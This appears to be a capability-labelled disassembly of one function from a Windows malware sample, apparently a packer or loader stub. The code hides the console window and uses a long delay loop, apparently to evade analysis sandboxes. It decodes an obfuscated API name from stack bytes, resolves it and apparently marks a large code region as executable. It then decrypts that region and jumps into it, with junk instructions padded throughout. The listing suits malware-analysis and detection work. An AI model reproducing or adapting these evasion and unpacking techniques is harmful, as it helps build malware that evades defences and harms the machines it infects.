Function at 0x531680
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push str.mHzEzNZzqbDTX03t
lea ecx, [ebp - 0xd8]
call fcn.00532270
push str.bZtdY0V0RS1DJrB0q5irIKPjMZoUwJ3r
lea ecx, [ebp - 0xc0]
call fcn.00532270
push str.kYIHJ594cXjaWBizfMLpapUkw8
lea ecx, [ebp - 0xa8]
call fcn.00532270
push str.WbYKShv2QHoeAgCF1ruIdDsGazla
lea ecx, [ebp - 0x90]
call fcn.00532270
dec edi
neg esi
dec ebx
rcl ebx, 4
bswap edx
ror edi, 1
dec edi
inc edx
ror eax, 0xad
neg eax
rcl edx, 0xd2
dec ebx
neg esi
mov edi, 0xa6
mov edx, 0x16
neg edi
add esi, 0xa5
imul edi
inc esi
rcl ebx, 0x90
rcl ebx, 0xe8
sbb ebx, 0xe8
ror esi, 1
imul edx
neg esi
add ebx, 0x68
neg edi
sbb eax, 0x92
or esi, 0x7c
rcr edx, 0xcd
dec eax
sbb edx, 0x98
not esi
ror ebx, 0xf6
neg ebx
and edx, 0x9f
bswap ebx
rol esi, 0xdd
or eax, 0x69
ror ebx, 0x32
or eax, 0x2a
mov edi, 0x66
sbb ebx, 0x7f
neg eax
dec edi
rol edi, 0xc6
bswap edx
rcr ebx, 0xf5
dec edi
rcr esi, 0xa4
and edi, 0x41
or esi, 0x6f
rcr edi, 0x48
bswap ebx
or esi, 0xd4
not edi
add edi, 0x68
sub edx, 0x31
neg edx
imul eax
sub edi, 0x4e
ror eax, 0x5e
neg ebx
imul edx
dec edx
dec edx
inc esi
dec esi
mov esi, 0x9d
neg ebx
dec edx
sub esi, 0xb8
not ebx
rcr esi, 0xd5
ror ebx, 0x68
sub edx, 0xed
sub eax, 0x6b
sub esi, 0xed
inc esi
rcl edx, 0xef
neg edi
or edi, 0x6e
add edx, 0xcf
neg edi
rcr eax, 0xf8
and esi, 0x6c
rol edx, 0x1e
mov ebx, 0xd9
inc edx
dec esi
dec eax
ror edx, 0xe8
rcl edx, 0xde
mov ebx, 0x2b
bswap edi
neg edx
imul edx
not edx
not esi
ror edx, 9
push 0
push 0
call sub.SHELL32.dll_SHTestTokenMembership
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x4c], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov dword [ebp - 0x10], 0xa
mov dword [ebp - 0xc], 5
mov dword [ebp - 8], 0
mov dword [ebp - 0x18], 0
jmp 0x531831
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 0x10]
jge 0x531881
mov edx, dword [ebp - 0x18]
and edx, 0x80000001
jns 0x531849
dec edx
or edx, 0xfffffffe
inc edx
test edx, edx
jne 0x531858
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x18]
mov dword [ebp - 8], eax
jmp 0x531861
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x18]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
cmp edx, dword [ebp - 0x10]
jle 0x531875
mov eax, dword [ebp - 8]
cdq
idiv dword [ebp - 0xc]
mov dword [ebp - 8], eax
jmp 0x53187f
mov eax, dword [ebp - 8]
imul eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
jmp 0x531828
cmp dword [ebp - 8], 0
jl 0x5318b2
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0xc]
mov dword [ebp - 8], ecx
jne 0x531896
jmp 0x5318b2
cmp dword [ebp - 8], 0xffffff9c
jge 0x5318a6
mov edx, dword [ebp - 8]
neg edx
mov dword [ebp - 8], edx
jmp 0x5318b0
mov eax, dword [ebp - 8]
cdq
idiv dword [ebp - 0xc]
mov dword [ebp - 8], edx
jmp 0x531881
mov eax, dword [ebp - 8]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
je 0x5318cc
cmp dword [ebp - 0x34], 1
je 0x5318d7
cmp dword [ebp - 0x34], 2
je 0x5318e2
jmp 0x5318ee
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0x10]
mov dword [ebp - 8], ecx
jmp 0x5318f8
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 0x10]
mov dword [ebp - 8], edx
jmp 0x5318f8
mov eax, dword [ebp - 8]
imul eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
jmp 0x5318f8
mov eax, dword [ebp - 8]
cdq
idiv dword [ebp - 0x10]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jge 0x531923
mov dword [ebp - 0x38], 0
jmp 0x531910
mov ecx, dword [ebp - 0x38]
add ecx, 1
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x38]
cmp edx, dword [ebp - 0xc]
jge 0x531923
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
jmp 0x531907
mov dword [ebp - 0x1c], 0
jmp 0x531935
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 8]
jge 0x531984
mov eax, dword [ebp - 0x1c]
and eax, 0x80000001
jns 0x53194c
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x53195b
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 8], ecx
jmp 0x531964
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 0xc]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x10]
jle 0x531978
mov eax, dword [ebp - 8]
cdq
idiv dword [ebp - 0xc]
mov dword [ebp - 8], eax
jmp 0x531982
mov ecx, dword [ebp - 8]
imul ecx, dword [ebp - 0xc]
mov dword [ebp - 8], ecx
jmp 0x53192c
cmp dword [ebp - 8], 0
jl 0x5319b5
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 0x10]
mov dword [ebp - 8], edx
jne 0x531999
jmp 0x5319b5
cmp dword [ebp - 8], 0xffffff9c
jge 0x5319a9
mov eax, dword [ebp - 8]
neg eax
mov dword [ebp - 8], eax
jmp 0x5319b3
mov eax, dword [ebp - 8]
cdq
idiv dword [ebp - 0x10]
mov dword [ebp - 8], edx
jmp 0x531984
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x3c], ecx
cmp dword [ebp - 0x3c], 0
je 0x5319cf
cmp dword [ebp - 0x3c], 1
je 0x5319da
cmp dword [ebp - 0x3c], 2
je 0x5319e5
jmp 0x5319f1
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0xc]
mov dword [ebp - 8], edx
jmp 0x5319fb
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
jmp 0x5319fb
mov ecx, dword [ebp - 8]
imul ecx, dword [ebp - 0xc]
mov dword [ebp - 8], ecx
jmp 0x5319fb
mov eax, dword [ebp - 8]
cdq
idiv dword [ebp - 0xc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jge 0x531a26
mov dword [ebp - 0x40], 0
jmp 0x531a13
mov edx, dword [ebp - 0x40]
add edx, 1
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x10]
jge 0x531a26
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0xc]
mov dword [ebp - 8], ecx
jmp 0x531a0a
call section..text
cmp eax, 0x122ad
jne 0x531a3d
xor ebx, ebx
pop eax
cmp eax, ebx
sub ebx, eax
test eax, eax
and eax, eax
push str.V3ZzkcsX1hK9DUjNeWLVYyQs
lea ecx, [ebp - 0x78]
call fcn.00532270
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x20], 0
jmp 0x531a6a
mov edx, dword [ebp - 0x20]
add edx, 1
mov dword [ebp - 0x20], edx
cmp dword [ebp - 0x20], 0x5f5e100
jge 0x531a7e
mov eax, dword [ebp - 0x44]
add eax, 1
mov dword [ebp - 0x44], eax
jmp 0x531a61
cmp dword [ebp - 0x44], 0x5f5e100
jne 0x531ed4
mov byte [ebp - 0x30], 0x63
mov byte [ebp - 0x2f], 0xaa
mov byte [ebp - 0x2e], 7
mov byte [ebp - 0x2d], 0x63
mov byte [ebp - 0x2c], 0x57
mov byte [ebp - 0x2b], 0x32
mov byte [ebp - 0x2a], 0x89
mov byte [ebp - 0x29], 0x7c
mov byte [ebp - 0x28], 0x4c
mov byte [ebp - 0x27], 0xae
mov byte [ebp - 0x26], 0xa9
mov byte [ebp - 0x25], 0x75
mov byte [ebp - 0x24], 0x53
mov byte [ebp - 0x23], 0x4c
mov byte [ebp - 0x22], 0xca
mov dword [ebp - 0x14], 0
jmp 0x531ad9
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], 0xf
jae 0x531bf3
mov edx, dword [ebp - 0x14]
mov al, byte [ebp + edx - 0x30]
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
sub ecx, 0xff
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
neg edx
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0x14]
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
sar ecx, 5
movzx edx, byte [ebp - 1]
shl edx, 3
or ecx, edx
mov byte [ebp - 1], cl
movzx eax, byte [ebp - 1]
neg eax
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
add ecx, dword [ebp - 0x14]
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
not edx
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
sar eax, 5
movzx ecx, byte [ebp - 1]
shl ecx, 3
or eax, ecx
mov byte [ebp - 1], al
movzx edx, byte [ebp - 1]
add edx, dword [ebp - 0x14]
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
neg eax
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
add ecx, 0xa7
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
neg edx
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
sub eax, dword [ebp - 0x14]
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
sar ecx, 5
movzx edx, byte [ebp - 1]
shl edx, 3
or ecx, edx
mov byte [ebp - 1], cl
movzx eax, byte [ebp - 1]
not eax
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
add ecx, 0x82
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
sar edx, 5
movzx eax, byte [ebp - 1]
shl eax, 3
or edx, eax
mov byte [ebp - 1], dl
movzx ecx, byte [ebp - 1]
not ecx
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
sub edx, 0x58
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
sar eax, 3
movzx ecx, byte [ebp - 1]
shl ecx, 5
or eax, ecx
mov byte [ebp - 1], al
mov edx, dword [ebp - 0x14]
mov al, byte [ebp - 1]
mov byte [ebp + edx - 0x30], al
jmp 0x531ad0
push str.NKGLFDSLJKXALJRBQJLW
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x58], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x531e84
push str.aFRm5BO2Z5VYanFjxLuNuxiiUtz
lea ecx, [ebp - 0x108]
call fcn.00532270
bswap edi
rol ebx, 0x7f
mov esi, 0xd3
or esi, 0xbc
rcl eax, 0x4b
neg edi
rcl ebx, 0x4a
or edx, 0x7a
sub eax, 0x6d
dec ebx
dec edx
imul ebx
mov edx, 0xf4
rol edi, 0x66
ror ebx, 0xed
ror ebx, 0xe7
bswap edx
sub eax, 0xd7
neg edi
rcr eax, 0x29
imul eax
mov esi, 0x6a
dec esi
rol edx, 0xe3
imul edx
inc edi
imul esi
rcl edi, 0x59
or esi, 0x5b
rol eax, 0x19
ror edi, 0xb
dec edi
ror edi, 7
inc esi
ror edi, 0x42
rcr ebx, 0x2b
neg ebx
imul edi
imul esi
imul eax
add edx, 0xdc
rcl edx, 0x6d
add edi, 0x42
neg edx
and eax, 0x3e
dec edx
rcr eax, 0xda
rcr edx, 0x9c
neg ebx
sbb edx, 0x77
mov dword [ebp - 0x48], 0x12f950
lea ecx, [ebp - 0x30]
push ecx
mov edx, dword [ebp - 0x4c]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x5c]
push eax
push 0x40
mov ecx, dword [ebp - 0x48]
push ecx
push fcn.00401d30
call dword [ebp - 0x50]
mov dword [ebp - 0x60], eax
mov edx, dword [ebp - 0x48]
push edx
push fcn.00401d30
call fcn.00401b70
add esp, 8
call section..text
cmp eax, 0x29ee
jne 0x531d4f
call section..text
cmp eax, 0x18da
jne 0x531d1b
call section..text
cmp eax, 0x1737d
jne 0x531d16
call eax
call eax
xor eax, ebx
xor eax, 0
and ebx, eax
add eax, eax
cmp ebx, ebx
cmp ebx, ebx
sub ebx, eax
test eax, ebx
sub eax, ebx
and ebx, 0
call eax
and eax, eax
push eax
add eax, ebx
nop
test eax, ebx
push str.DGB7xeTUDjP6Or3rk8tTP5bG5v6V1yVg
lea ecx, [ebp - 0xf0]
call fcn.00532270
lea ecx, [ebp - 0xf0]
call fcn.00532460
rcl edi, 0x34
not eax
sbb edi, 0xbd
and ebx, 0x72
or eax, 0x75
and esi, 0xb6
dec eax
imul eax
rcl esi, 0x34
add edx, 0xf5
dec eax
add eax, 0x99
sbb ebx, 0xbf
rol eax, 0xf8
neg ebx
sub edx, 0x8c
add edi, 0xfc
rol edx, 0x5e
and esi, 0
not esi
bswap edi
bswap esi
or ebx, 0x2a
bswap eax
sbb eax, 0x41
ror edi, 0x22
or edi, 0x93
add ebx, 0xad
dec edx
rcr ebx, 0x92
neg esi
bswap ebx
mov edx, 0x7a
inc esi
inc edi
rcl edi, 0xa
neg ebx
inc esi
dec esi
and edx, 0x51
and edi, 0x37
neg esi
not edx
sbb edi, 0x8e
mov esi, 0xd9
imul eax
not eax
bswap edx
not eax
inc esi
push 0
call fcn.00401d30
add esp, 4
sub eax, 0xe5
rol esi, 0x11
dec esi
add esi, 0xd5
sbb edx, 0x3c
ror edi, 0xcc
imul esi
rol edx, 0xf5
rcl edi, 0x36
rcr ebx, 0xa8
neg edi
neg esi
bswap edi
imul edi
neg eax
rol esi, 0x93
neg ebx
neg esi
and ebx, 0x18
mov edx, 0x2c
bswap esi
not esi
inc esi
or ebx, 1
rol esi, 0xfb
imul ebx
imul ebx
not esi
dec eax
or eax, 0x6c
mov eax, 0xec
inc ebx
sbb edi, 0xd0
neg esi
dec eax
sub ebx, 0x8d
mov edi, 0xc4
imul esi
inc ebx
and edx, 0xa8
rcr ebx, 0x56
inc esi
inc edi
bswap esi
neg esi
rcl esi, 0x23
imul ebx
sub eax, 0x72
not esi
rol edi, 0x44
lea ecx, [ebp - 0x108]
call fcn.00532460
jmp 0x531e94
jmp 0x531bf3
mov dword [ebp - 0x54], 0
lea ecx, [ebp - 0x78]
call fcn.00532460
lea ecx, [ebp - 0x90]
call fcn.00532460
lea ecx, [ebp - 0xa8]
call fcn.00532460
lea ecx, [ebp - 0xc0]
call fcn.00532460
lea ecx, [ebp - 0xd8]
call fcn.00532460
mov eax, dword [ebp - 0x54]
jmp 0x531f08
lea ecx, [ebp - 0x78]
call fcn.00532460
lea ecx, [ebp - 0x90]
call fcn.00532460
lea ecx, [ebp - 0xa8]
call fcn.00532460
lea ecx, [ebp - 0xc0]
call fcn.00532460
lea ecx, [ebp - 0xd8]
call fcn.00532460
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret